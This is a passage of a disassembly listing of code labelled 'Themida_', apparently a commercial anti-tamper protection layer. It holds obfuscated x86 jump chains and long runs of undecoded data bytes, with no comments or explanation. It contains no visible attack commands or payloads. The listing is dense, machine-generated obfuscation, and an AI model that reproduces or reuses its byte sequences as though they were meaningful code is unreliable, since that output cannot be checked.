2ED6604Fh jmp loc_54C823 ; --------------------------------------------------------------------------- db 0E9h, 3Ah, 7Eh dd 966FFFFh, 525E66F3h, 0FFA3DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F0C5: ; CODE XREF: Themida_:0054BD0Bj pop dword ptr [esp] mov esp, [esp] jmp loc_54A4BA ; --------------------------------------------------------------------------- dd 8B1C77FFh, 54572404h, 27BD555Fh, 5105FB3Bh, 67BD5557h dd 834DAE69h, 0DDF7FFEDh, 0ED8145h, 4D69F74Ch, 3855E9h dd 0AB65200h, 1D91E9h db 0 ; --------------------------------------------------------------------------- loc_54F101: ; CODE XREF: Themida_:00549229j add dword ptr [esp], 0E45125h pop ecx sub ecx, 0E45125h pop ebx sub [edi+24h], ecx push dword ptr [esp] jmp loc_5511BB ; --------------------------------------------------------------------------- aFFrsx db 'f)ËfRé•+',0 db 0 ; --------------------------------------------------------------------------- loc_54F125: ; CODE XREF: Themida_:00548CCBj sub eax, edx add eax, 55BF0727h add eax, 37A96436h pop edx sub esp, 4 mov [esp], edi jmp loc_54A95F ; --------------------------------------------------------------------------- loc_54F140: ; CODE XREF: Themida_:0054EEADj mov [esp], ebx push edx mov edx, 0B1B5F72h jmp loc_54B8D7 ; --------------------------------------------------------------------------- dw 0BA52h dd 58062F75h, 4245431h, 2434FF5Ah, 0FFD668E9h, 0C8BF0FFFh dd 1E0768h, 240C8900h, 0FF7D83E9h, 0D1BE56FFh, 511D4D33h dd 0FFDA52E9h, 4C781FFh, 81000000h, 4ECh, 243C8900h, 42474FFh dd 24048F5Fh, 8B54535Ch, 0C483241Ch, 4BE5604h, 81000000h dd 8B5DDAEBh, 0E9F3015Ah, 0FFFF99D5h ; --------------------------------------------------------------------------- loc_54F1B0: ; CODE XREF: Themida_:0054AA3Cj push ebx push 7121h jmp loc_550530 ; --------------------------------------------------------------------------- db 56h dd 4BEh, 246C8100h, 0BB678704h, 24740130h, 24448104h, 0BB678704h dd 0E9595E30h, 35E5h, 0E9242C89h, 0FFFFEEE9h, 240C8B66h dd 4EC81h, 8CE90000h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F1F3: ; CODE XREF: Themida_:00549E4Dj pop edx xchg ecx, [esp] pop esp push ebx jmp loc_547F19 ; --------------------------------------------------------------------------- dw 2535h dd 0C174B964h, 0E0C102E8h, 0F121E905h, 0C481FFFFh, 4, 0FF7F0EE9h dd 7550BFFFh, 0F9318ACEh, 83243C8Bh, 0ED8104C4h, 7B6E0862h dd 0FFCDF1E9h, 243487FFh, 110DE9h db 0 ; --------------------------------------------------------------------------- loc_54F239: ; CODE XREF: Themida_:00550AFDj xchg ecx, [esp] jmp loc_54A2EE ; --------------------------------------------------------------------------- loc_54F241: ; CODE XREF: Themida_:00547971j mov edx, [esp] add esp, 4 jmp loc_548C94 ; --------------------------------------------------------------------------- loc_54F24F: ; CODE XREF: Themida_:0054DFCDj pop eax push 176Fh mov [esp], edx push 0BF330C8h pop edx sub eax, edx mov edx, [esp] push ebp mov ebp, esp jmp loc_552210 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 9FD5E900h, 0C31FFFFh, 240C3324h, 243C895Ch, 0FF883FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F285: ; CODE XREF: Themida_:0054A507j mov ecx, [esp] add esp, 4 and ecx, esi mov esi, [esp] push edi push 1F95h mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_549BEA ; --------------------------------------------------------------------------- loc_54F2A9: ; CODE XREF: Themida_:0054E15Bj pop esi push ebp mov ebp, 4 jmp loc_5475F4 ; --------------------------------------------------------------------------- db 66h, 5Bh, 0 dd 240C8BC8h, 0E9E08950h, 3B3h, 4246C81h, 51C361EBh, 24042959h dd 3297E9h db 0 ; --------------------------------------------------------------------------- loc_54F2D5: ; CODE XREF: Themida_:0054ACFEj mov ebx, esi jmp loc_54CC88 ; --------------------------------------------------------------------------- dd 3EE95051h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F2E3: ; CODE XREF: Themida_:005485E4j mov esp, [esp] add eax, 1C3E3662h push edi push esp pop edi push ebx mov ebx, 4 jmp loc_54F8D3 ; --------------------------------------------------------------------------- db 89h, 0E3h, 81h dd 4C3h, 4B85000h, 29000000h, 1C8758C3h, 24248B24h, 50243C89h dd 9530AEB8h, 0ACB85050h, 50509530h, 7A243481h, 8B14A074h dd 0C481243Ch, 4, 1BD1E9h, 1E736800h, 2C890000h, 0E6895624h dd 4C681h, 0EE830000h, 24343304h, 33243431h, 895C2434h dd 8CE9241Ch db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F35B: ; CODE XREF: Themida_:0054B869j push ebp jmp loc_5528A0 ; --------------------------------------------------------------------------- db 1, 0C2h, 58h dd 0BD55FA01h, 5860370Eh, 0FFD2FDE9h, 5E089FFh, 4, 3304C083h dd 4312404h, 24043324h, 0FF8A24E9h, 0E3F1BAFFh, 0D701E05Bh dd 48FE95Ah, 8B660000h, 84E92404h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F39F: ; CODE XREF: Themida_:0055259Aj mov edx, eax jmp loc_548321 ; --------------------------------------------------------------------------- dw 0BB53h dd 193250BBh, 0FF7F2AE9h, 242C89FFh, 42474FFh, 0FF8ACAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F3BD: ; CODE XREF: Themida_:0054B876j push ecx jmp loc_550D12 ; --------------------------------------------------------------------------- db 81h dd 376BAFEBh, 82E95A21h, 45000010h, 33ED814Dh, 0C1034316h dd 0E5E905EDh, 0FE000011h, 0E9300CC8h, 0E51h, 148BEE04h dd 8B6E924h, 8B660000h, 8956240Ch, 5E9768E6h, 0C890000h dd 0ECBA5224h, 5204C279h, 0C1815A59h, 616963FEh, 2D76C981h dd 0E9C11D49h, 0DBF18104h, 107F6BFh, 685059CEh, 43F67D2h dd 99BD5558h, 2913F739h, 0A3E95DE8h, 83FFFFCCh, 0E1E904EBh dd 33FFFFD7h, 665C242Ch, 2404AB0Fh, 90FFE99Ch, 433FFFFh dd 24043124h, 0FFC474E9h, 4B9FFh, 0CF010000h, 592434FFh dd 0E904C483h, 21A8h, 96B95155h, 810AC05Bh, 8D767AF1h dd 0DAC18133h, 892E0F41h, 0E5C159CDh, 5E5C108h, 0B7C6B850h dd 0C501D60Bh, 0FFF718E9h, 241C89FFh, 0D888F388h, 0E951525Bh dd 0FFFFDE22h, 3CBF68h, 241C8900h, 3CBBh, 4CB95100h, 0C16E4647h dd 0E9C106E9h, 3E9C108h, 0CA01E981h, 0CB29DD42h, 0E9FB0159h dd 0FFFFF438h, 348BF501h, 741E924h, 0D7880000h, 0CB25E95Ah dd 0EDC1FFFFh, 13F58103h, 815BF296h, 28247DC7h, 81EF0122h dd 28247DEFh, 9CE95D22h, 81000022h, 3BE0ABEDh, 5DEB29D6h dd 875BDD01h, 248B242Ch, 0E04EE924h, 6E68FFFFh, 8900006Ah dd 0ACE92404h, 5700002Ch, 0FFC47AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54F529: ; CODE XREF: Themida_:0054D35Cj push eax mov eax, 37174E18h sub [esp+4], eax pop eax jmp loc_54CC40 ; --------------------------------------------------------------------------- db 81h, 0CFh, 23h dd 81454877h, 0B27EC7F7h, 5FF8890Dh, 6B0950BEh, 0E9C601D4h dd 0FFFFAACEh, 600EBE56h, 0C6812FB2h, 8B78A6A3h, 0E95EF201h dd 0FFFFA4A7h, 8146D6F7h, 3847D8F6h, 0CD36E976h, 4D5DFFFFh dd 8106EDC1h, 6761C0E5h, 25BE5636h, 8116A038h, 4BF788EEh dd 8BF531EAh, 0C4812434h, 4, 815DE889h, 0A861DAEEh, 55C60111h dd 0A861DABDh, 0DF09E911h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F5AE: ; CODE XREF: Themida_:00549E22j shl edx, 5 not edx add edx, 6C8D3BEAh push esi mov esi, 73C2E7A8h sub edx, esi pop esi jmp loc_5513BE ; --------------------------------------------------------------------------- loc_54F5C7: ; CODE XREF: Themida_:0054B8C8j shr edi, 3 jmp loc_54D687 ; --------------------------------------------------------------------------- db 59h dd 0C67AE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F5D6: ; CODE XREF: Themida_:00547FE2j mov bh, 49h push ecx mov cl, bh mov ah, cl jmp loc_54A4E5 ; --------------------------------------------------------------------------- dw 0DF87h dd 8EFC15Bh, 5DE2CF81h, 0C7812D66h, 4AF35C6Ah, 0BC6BF781h dd 540578E9h, 0E92AD840h, 0FFFFBB1Fh, 0E9CE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F60A: ; CODE XREF: Themida_:0054B07Cj mov ecx, 4 add [esp+4], ecx pop ecx pop edx jmp loc_549A7E ; --------------------------------------------------------------------------- dw 4B9h dd 1000000h, 0EA8159CAh, 4, 5C241487h, 89243489h, 4EC81E6h dd 89000000h, 0A7B9240Ch, 5231E958h, 0D57E4BBAh, 5AD1213Dh dd 5107C981h, 0E1814E71h, 215014C3h, 2626C981h, 0E981741Fh dd 755F3623h, 8359CE01h, 343302C6h, 24343124h, 0FFC98BE9h dd 5FE955FFh, 5000029h, 4, 405h, 24048700h, 3877685Ch dd 14890000h, 0C95E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54F692: ; CODE XREF: Themida_:00549F24j pop esp push ecx mov ecx, esp jmp loc_54F02F ; --------------------------------------------------------------------------- db 53h dd 0E78066B7h, 51EF807Eh, 0F780CFFEh, 0B7CF802Bh, 127EE9h dd 4B85000h, 89000000h, 0DF0158C3h, 243C875Bh, 0E924248Bh dd 35DEh, 0CDB85056h, 0E95ACE7Dh, 59Fh, 3D3ABF57h, 0F8016474h dd 0D733E95Fh, 0C083FFFFh, 24048704h, 0FFCDB6E9h, 0BB0F66FFh dd 0E99C2404h, 0FFFF7A95h ; --------------------------------------------------------------------------- loc_54F6F8: ; CODE XREF: Themida_:0054FAE1j add esp, 4 push esi mov esi, 4C942EC2h jmp loc_54E150 ; --------------------------------------------------------------------------- dd offset dword_4F0844+324h dw 8900h dd 168241Ch, 0E9000000h, 1E42h, 604BEE81h, 0BD5537DFh dd 25AC22C1h, 1A19BA52h, 0E95246B8h, 0FFFFB1CFh ; --------------------------------------------------------------------------- loc_54F730: ; CODE XREF: Themida_:0054D7EDj push ecx mov ecx, 419A30F2h jmp loc_54EA1A ; --------------------------------------------------------------------------- db 53h dd 4BBh, 0E9DF0100h, 0FFFF889Fh, 0E92434FFh, 0FFFFD55Ah dd 0D8281D04h, 6E95166h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F75B: ; CODE XREF: Themida_:0054B593j pop edi add esp, 4 mov ebx, ebp pop ebp sub [edi+24h], ebx jmp loc_548AED ; --------------------------------------------------------------------------- dw 0E3C1h dd 60EB8103h, 0E96F9C33h, 0FFFF7981h, 4F3F68h, 24348900h dd 0E3E95E54h, 0FFFFFFE6h, 5E042474h, 8B24048Fh, 66642424h dd 59E90289h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F79B: ; CODE XREF: Themida_:00547D09j push 1A98h jmp loc_552A96 ; --------------------------------------------------------------------------- loc_54F7A5: ; CODE XREF: Themida_:00552AB9j xchg dl, bh not dl xchg dl, bh jmp loc_548AC9 ; --------------------------------------------------------------------------- loc_54F7B0: ; CODE XREF: Themida_:0054C9BBj pop ecx add esp, 4 add esp, 4 add esp, 4 jmp loc_546EF4 ; --------------------------------------------------------------------------- dw 0E95Ch dd 30F4h, 89240C89h, 4C181E1h, 83000000h, 0FF5104C1h, 59042474h dd 314AE9h, 0EBE95000h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F7E7: ; CODE XREF: Themida_:00550003j push dword ptr [edi+1Ch] xor dword ptr [esp], 3AB52C0h mov ecx, [esp] sub esp, 4 mov [esp], eax push esp mov eax, [esp] jmp loc_547033 ; --------------------------------------------------------------------------- dw 7A04h dd 0E8C0B504h, 4FF0404h, 34E0D05Dh, 58C188C6h, 0C980C1FEh dd 6AC18095h, 0FF7ED5E9h, 8BFE01FFh, 5451243Ch, 0FF9F27E9h dd 0C48159FFh, 4, 0FF77D6E9h, 52E789FFh, 6B72B850h, 0AFBA68A0h dd 29B29C95h, 0EAC158C2h, 24C8E908h, 48F0000h, 14895C24h dd 57E28924h, 4BFh, 5FFA0100h, 8702EA83h, 248B2414h, 2148E924h dd 5E680000h, 5A08716Bh, 69E9D2F7h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F883: ; CODE XREF: Themida_:0054B1ACj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_54FBAF ; --------------------------------------------------------------------------- loc_54F89A: ; CODE XREF: Themida_:005529B4j mov esp, [esp] jmp loc_5493A6 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C481h, 0C3300000h, 0FF9713E9h, 2DF029FFh, 7F985C54h dd 0D156E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8C2: ; CODE XREF: Themida_:0054852Bj add edx, 0F42E8BB2h sub esi, edx pop edx xchg esi, [esp] jmp loc_552534 ; --------------------------------------------------------------------------- loc_54F8D3: ; CODE XREF: Themida_:0054F2F4j add edi, ebx pop ebx sub edi, 4 jmp loc_54B95A ; --------------------------------------------------------------------------- db 1, 0C8h, 55h dd 0A9334CBDh, 0CE62E92Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F8EE: ; CODE XREF: Themida_:0054EDF9j push 68F2h jmp loc_54FD61 ; --------------------------------------------------------------------------- loc_54F8F8: ; CODE XREF: Themida_:0054B2F3j add [edx], esi mov edx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_54A52B ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FFBD7AE9h, 241C8BFFh, 361E9h, 0B3F58000h, 83E9E800h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54F92B: ; CODE XREF: Themida_:0054964Bj mov esp, [esp] mov [esp], ecx not dword ptr [esp] pop ecx jmp loc_5508EA ; --------------------------------------------------------------------------- loc_54F93A: ; CODE XREF: Themida_:0054B627j mov ebp, [esp] add esp, 4 add ebx, 7F12C5BAh jmp loc_54DC49 ; --------------------------------------------------------------------------- loc_54F94B: ; CODE XREF: Themida_:005508FDj push dword ptr [esp] mov ebx, [esp] jmp loc_54D787 ; --------------------------------------------------------------------------- loc_54F956: ; CODE XREF: Themida_:0054955Aj push eax mov eax, 5A612F37h jmp loc_54FDE7 ; --------------------------------------------------------------------------- db 0FEh, 0Ch, 24h dd 758AE99Ch, 0F381FFFFh, 31FD150Fh, 2EC6E9h db 0 ; --------------------------------------------------------------------------- loc_54F975: ; CODE XREF: Themida_:0054B644j push dword ptr [esp] jmp loc_550DE2 ; --------------------------------------------------------------------------- db 0D3h, 4, 24h dd 756EE99Ch, 0D930FFFFh, 59CE885Bh, 0F028F904h, 0FFE016E9h dd 324235FFh, 0EC814503h, 4, 0BF243C89h, 0DA906F93h, 15FF831h dd 0AFC7E9C6h, 5859FFFFh, 0FA88CFFEh, 0FFA475E9h, 51BB53FFh dd 29230843h, 0E9515BDEh, 0FFFFBB46h ; --------------------------------------------------------------------------- loc_54F9CC: ; CODE XREF: Themida_:0054996Ej mov ebp, [esp] add esp, 4 add ebp, 4 sub esp, 4 mov [esp], edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] shr eax, 8 xor eax, ecx push 0E7Ch jmp loc_5491D9 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 0E9000000h, 0FFFF98E5h, 4EC81h, 4890000h, 0F6D48824h dd 8BE288D4h, 0E9532404h, 0FFFFBD15h, 240C8B66h, 51E08950h dd 0E1ABE953h, 0C6FEFFFFh, 8002E6C0h, 0E6D0FFC6h, 80E2C680h dd 0F13078C6h, 6AE1805Ah, 138BE9h db 0 ; --------------------------------------------------------------------------- loc_54FA4D: ; CODE XREF: Themida_:00550728j add edx, edi jmp loc_54CC75 ; --------------------------------------------------------------------------- loc_54FA54: ; CODE XREF: Themida_:0054AC9Cj push esp pop esi add esi, 4 add esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] div ecx jmp loc_5484D2 ; --------------------------------------------------------------------------- loc_54FA77: ; CODE XREF: Themida_:0054FE6Fj mov ebx, 3020214h sub ecx, ebx pop ebx add eax, ecx mov ecx, [esp] add esp, 4 sub eax, 4 jmp loc_549648 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Bh, 0FF24248Bh, 48B2434h, 4C48324h dd 0FF8F77E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FAAD: ; CODE XREF: Themida_:00550359j shr ecx, 2 push esi jmp loc_54D73B ; --------------------------------------------------------------------------- dw 98B9h dd 0E97B3925h, 0FFFFA437h, 0EB80E300h, 30EB8027h, 0DB686658h dd 14896660h, 0A2B55124h, 0EE80ECB6h, 7D1EE9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FADE: ; CODE XREF: Themida_:00550322j mov edi, [esp] jmp loc_54F6F8 ; --------------------------------------------------------------------------- dw 8F5Ah dd 248B2404h, 0A9AEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FAF2: ; CODE XREF: Themida_:005484FFj push 59C8h mov [esp], edi jmp loc_54E3CD ; --------------------------------------------------------------------------- loc_54FAFF: ; CODE XREF: Themida_:0054846Aj push edi push 3EB41896h jmp loc_551946 ; --------------------------------------------------------------------------- dw 0EC83h dd 874BE904h, 0C181FFFFh, 3C97109Dh, 0FF8FB8E9h, 1C77FFFFh dd 0D359669Dh, 0E99C241Ch, 0FFFF73C8h ; --------------------------------------------------------------------------- loc_54FB2C: ; CODE XREF: Themida_:0054E495j add esp, 4 and ebx, edi pop edi or ebx, ebx jnz loc_54D0C7 push eax mov eax, esp push edx push esi jmp loc_54B6E9 ; --------------------------------------------------------------------------- db 83h dd 0F56802C7h, 0E9000068h, 0FFFFED6Ch, 33243C31h, 248B243Ch dd 68E1F724h, 0BAAh, 50241489h, 25C5E99Ch, 815B0000h, 4C3h dd 0F8BDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB7A: ; CODE XREF: Themida_:0054CB42j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edx mov dh, 42h sub bl, dh pop edx add bl, 3Bh jmp loc_552AB4 ; --------------------------------------------------------------------------- db 4Fh dd 0C307F781h, 0FB294A8Fh, 81D3015Fh, 5535B0C3h, 9E95A73h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FBAF: ; CODE XREF: Themida_:loc_54706Cj ; Themida_:0054F895j push ebx push ecx mov ecx, 0BF330C8h add dword ptr [esp+4], 543C3794h add [esp+4], ecx push edx jmp loc_54DFBA ; --------------------------------------------------------------------------- dd 8B240487h, 2C892424h, 2474FF24h, 0ADE95D04h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FBDB: ; CODE XREF: Themida_:0054BE6Ej push 3706h mov [esp], ebx mov ebx, 2EB742A7h jmp loc_552AAC ; --------------------------------------------------------------------------- loc_54FBED: ; CODE XREF: Themida_:00551998j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ebx sub dword ptr [esp], 1C3E3662h mov eax, [esp] sub esp, 4 mov [esp], eax jmp loc_54B572 ; --------------------------------------------------------------------------- dd 4EC81h, 70E90000h, 83FFFFD8h, 895004C4h, 0C416E9E0h dd 31ADFFFFh, 72C268D8h, 0C890000h, 8B85024h, 830E975Eh dd 0E8C101E8h, 0FEC8E902h, 0C483FFFFh, 85E95204h, 8BFFFF8Fh dd 0C481241Ch, 4, 0E957D801h, 0FFFF9701h ; --------------------------------------------------------------------------- loc_54FC5C: ; CODE XREF: Themida_:0054CA06j add ecx, 3D87E694h xor edx, ecx pop ecx add edx, 8EE23193h and eax, edx pop edx jmp loc_54B7F8 ; --------------------------------------------------------------------------- db 25h dd 49D97C9Ch, 0F702E8C1h, 0D40AE9D0h, 8952FFFFh, 4C281E2h dd 83000000h, 89E904C2h, 5FFFFF9Dh, 815D5455h, 4C5h, 4BF5700h dd 0E9000000h, 0FFFF9539h, 5A8D68h, 240C8900h, 2434FF54h dd 4C48159h, 81000000h, 4C1h, 0ED69E900h, 0C481FFFFh, 4 dd 4A1468h, 14A7E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FCD6: ; CODE XREF: Themida_:0054D6BAj mov ebp, edx mov edx, [esp] add esp, 4 xchg ecx, ebp xchg edi, ecx not edi xchg edi, ecx xchg ecx, ebp jmp loc_54E64C ; --------------------------------------------------------------------------- loc_54FCF0: ; CODE XREF: Themida_:00552590j xchg ebx, [esp] pop esp mov [esp], ecx push esp pop ecx push eax mov eax, 4 jmp loc_549F62 ; --------------------------------------------------------------------------- dd 8F5BE56h, 47E93262h, 0C0000020h, 0B55102EAh, 50E58096h dd 8065CD80h, 0EA00ECF5h, 5AD00059h, 6602EC83h, 52240C89h dd 0FF9C4CE9h, 8AEA81FFh, 9491CB4h, 0ED815AD5h, 6DC63879h dd 3C44C581h, 0C5817A11h, 2513B73h, 0E4E9DDF7h db 9Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD53: ; CODE XREF: Themida_:00552A6Cj push eax mov eax, 4F5B209Ah shl eax, 3 jmp loc_54A274 ; --------------------------------------------------------------------------- loc_54FD61: ; CODE XREF: Themida_:0054F8F3j mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_547CA1 ; --------------------------------------------------------------------------- dw 5966h dd 1CF4E9h, 0E9CF0100h, 0FFFFBDF5h, 4C38158h, 53000000h dd 42474FFh, 24048F5Bh, 5124248Bh, 2434FF54h, 0FFFA98E9h dd 46F581FFh, 18162FFh, 0FB015DEFh, 1D05E9h db 0 ; --------------------------------------------------------------------------- loc_54FDA9: ; CODE XREF: Themida_:00549CA5j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi push dword ptr [esp+4] pop esi jmp loc_5529B1 ; --------------------------------------------------------------------------- db 83h dd 8F042404h, 4832404h, 148B0424h, 4C48324h, 9D99E955h dd 248BFFFFh, 24D36624h, 0DE99C24h db 71h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FDE7: ; CODE XREF: Themida_:0054F95Cj xor ebp, eax mov eax, [esp] add esp, 4 push 6174h mov [esp], edx mov edx, 0FFFFFFFFh sub ebp, edx pop edx shr ebp, 6 add ebp, 0EF57EB6h sub ebx, ebp pop ebp push ecx push 29BDh mov [esp], ebx mov bh, 7Fh not bh not bh jmp loc_54D1B4 ; --------------------------------------------------------------------------- dw 835Ch dd 1C8904ECh, 1A54BB24h, 39E94681h, 66FFFFF6h, 8124048Bh dd 4ECh, 241C8900h, 0FFBC9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FE45: ; CODE XREF: Themida_:0054A0D1j pop esi xchg edi, ecx inc edi jmp loc_54CA04 ; --------------------------------------------------------------------------- dw 95B9h dd 4114A30Dh, 552CB850h, 0C10929A2h, 582434FFh, 9ADE9h db 0 ; --------------------------------------------------------------------------- loc_54FE65: ; CODE XREF: Themida_:0054D682j xchg edx, [esp] pop esp jmp loc_551E03 ; --------------------------------------------------------------------------- loc_54FE6E: ; CODE XREF: Themida_:0054831Cj push ebx jmp loc_54FA77 ; --------------------------------------------------------------------------- dd 2C681h, 34870000h, 24248B24h, 9C243CD2h, 0FF706BE9h dd 0D830ACFFh, 224268h, 241C8900h, 4EC81h, 0A7E90000h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FE9F: ; CODE XREF: Themida_:0054D914j neg dword ptr [esp] push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 shr ebx, 8 add ebx, 60CA7FECh add ebx, 7CAB2311h add ebx, 883C93E7h jmp loc_55073D ; --------------------------------------------------------------------------- loc_54FEC8: ; CODE XREF: Themida_:0054C70Dj or al, cl pop ecx sub al, 19h xor al, 2Dh sub bl, al pop eax sub bl, 19h sub bl, 6Fh sub bl, al add bl, 6Fh add bl, 19h push edx mov dh, 0AAh sub dh, 21h add bl, dh pop edx push ecx mov ch, 0C6h jmp loc_548676 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 5D000000h, 4C581h, 0B9510000h, 4, 4CD9C581h dd 0CD013076h, 4CD9ED81h, 0C8B3076h, 0BEE95624h, 0FFFFFFBAh dd 589D1C77h, 9C240411h, 0FF6FC7E9h, 243489FFh, 0C9E95E54h dd 66000027h, 0B6241489h, 94C18065h, 8055E980h, 0F1007DC1h dd 807DE980h, 0E98055C1h, 0C05A6694h, 0F18007E1h, 59C800BCh dd 83240C8Bh, 0B75304C4h, 0FFEF80A3h, 0E950C7FEh, 0FFFFB7EDh dd 5502C583h, 0FFDF8FE9h, 2E2C1FFh, 614DB951h, 0E9507A09h dd 0FFFFB047h, 0D5E1E956h, 0C701FFFFh, 8904EC83h, 90B82404h dd 0E91DCC5Eh, 0FFFFACB2h ; --------------------------------------------------------------------------- loc_54FFA0: ; CODE XREF: Themida_:0055243Aj add eax, 52C13231h jmp loc_54C2F0 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFF7F09h, 911CF781h, 0FA01C000h, 2414875Fh, 2404215Ch dd 6F2EE99Ch, 8FB7FFFFh, 1C8BFC88h, 4C48124h, 80000000h dd 0C380C3F4h, 27C38030h, 0FFFADFE9h, 76E954FFh, 68FFFFA1h dd 69C24CB4h, 83241C8Bh, 0F3BD04C4h, 0E969C775h, 0FFFFBC3Fh ; --------------------------------------------------------------------------- loc_54FFFC: ; CODE XREF: Themida_:0054A829j add eax, 4 xchg eax, [esp] pop esp jmp loc_54F7E7 ; --------------------------------------------------------------------------- dd 48BC529h, 0E2C6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550012: ; CODE XREF: Themida_:0054CC47j push ecx push ebx jmp loc_54C365 ; --------------------------------------------------------------------------- db 81h, 0F7h, 26h dd 0F72F0606h, 6BE781D7h, 55508E72h, 0CF29D1BDh, 4CD8131h dd 4D12CF17h, 467EF581h, 0EDC139EAh, 0B6ED8108h, 817E1566h dd 7880A2C5h, 0E332E9EEh, 0E0C1FFFFh, 0A8C3503h, 0C1014CB2h dd 0BA8E9h, 2434FF00h, 0FFD72AE9h, 0B151ACFFh, 86E18662h dd 86D6F6F4h, 0E9E186F4h, 0FFFF8E40h, 57240489h, 4BFh dd 5FF88900h, 3C49C281h, 20E97CB6h, 29FFFFB3h, 24148BD6h dd 0FFD57DE9h db 0FFh ; --------------------------------------------------------------------------- loc_550099: ; CODE XREF: Themida_:0054BC12j add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_548FF2 ; --------------------------------------------------------------------------- db 80h dd 0F000AAEEh, 8E5EE95Ah, 0F031FFFFh, 1BC8E9h, 48B6600h dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 54241489h dd 5A2434FFh, 4C481h, 0C2810000h, 4, 77BE68h, 243C8900h dd 292833BFh, 0CDF7816Ch, 81728677h, 0E4499DF7h, 7E7C171h dd 0FF7E8FE9h db 0FFh ; --------------------------------------------------------------------------- loc_550105: ; CODE XREF: Themida_:0054987Ej pop esp push dword ptr [edi+eax*4] jmp loc_549E7B ; --------------------------------------------------------------------------- dw 0D089h dd 0EF815B5Ah, 6F617D97h, 0FFFE71E9h, 0F3815DFFh, 0ED17073h dd 8143D3F7h, 0F332C2EBh, 14BD555Dh, 0E9496759h, 0FFFFF3C7h ; --------------------------------------------------------------------------- loc_550138: ; CODE XREF: Themida_:0055150Bj mov dh, ah pop eax inc dh jmp loc_5497D4 ; --------------------------------------------------------------------------- loc_550142: ; CODE XREF: Themida_:005477C4j mov [esp], ebx mov ebx, 9011509h jmp loc_5477C9 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF6DA0h ; --------------------------------------------------------------------------- loc_550154: ; CODE XREF: Themida_:0054D78Aj add esp, 4 add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp jmp loc_54BB77 ; --------------------------------------------------------------------------- dw 7DE9h db 6Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550177: ; CODE XREF: Themida_:005471CFj add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_54CB6B ; --------------------------------------------------------------------------- db 53h dd 4BBh, 5BD90100h, 0E9240C87h, 1C5Bh, 6E606866h, 241C8B66h dd 1331E9h db 0 ; --------------------------------------------------------------------------- loc_5501A9: ; CODE XREF: Themida_:0054D46Bj mov eax, 708A69E3h xor eax, 9F709B3Fh xor edx, eax pop eax add edx, edi push dword ptr [edx] add dword ptr [esp], 2B102F83h mov ecx, [esp] add esp, 4 sub ecx, 2B102F83h mov edx, [esp] add esp, 4 push 27E6h mov [esp], edx jmp loc_5489C9 ; --------------------------------------------------------------------------- dw 9E9h dd 83FFFF6Dh, 0BF5704C4h, 7D4C3B76h, 6C0C68h, 24048900h dd 3A31BF57h, 0D2B8161Dh, 3119FD43h, 0AB055FF8h, 172D34Ah dd 24048BC7h, 104C483h, 0C3815FFBh, 2, 0FFC990E9h, 4E981FFh dd 8142B71Ch, 9C8269E9h, 59C88958h, 0FFBA2BE9h, 2E0C0FFh dd 0FAE95266h, 66FFFF99h, 6824048Bh, 3442h, 54243489h dd 8C5E9h, 98072D00h, 0C701663Bh, 8124048Bh, 4C4h, 0C2E95300h dd 59000029h, 4245C01h, 2434FF5Bh, 0E389535Eh, 4C381h dd 0E1E90000h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- 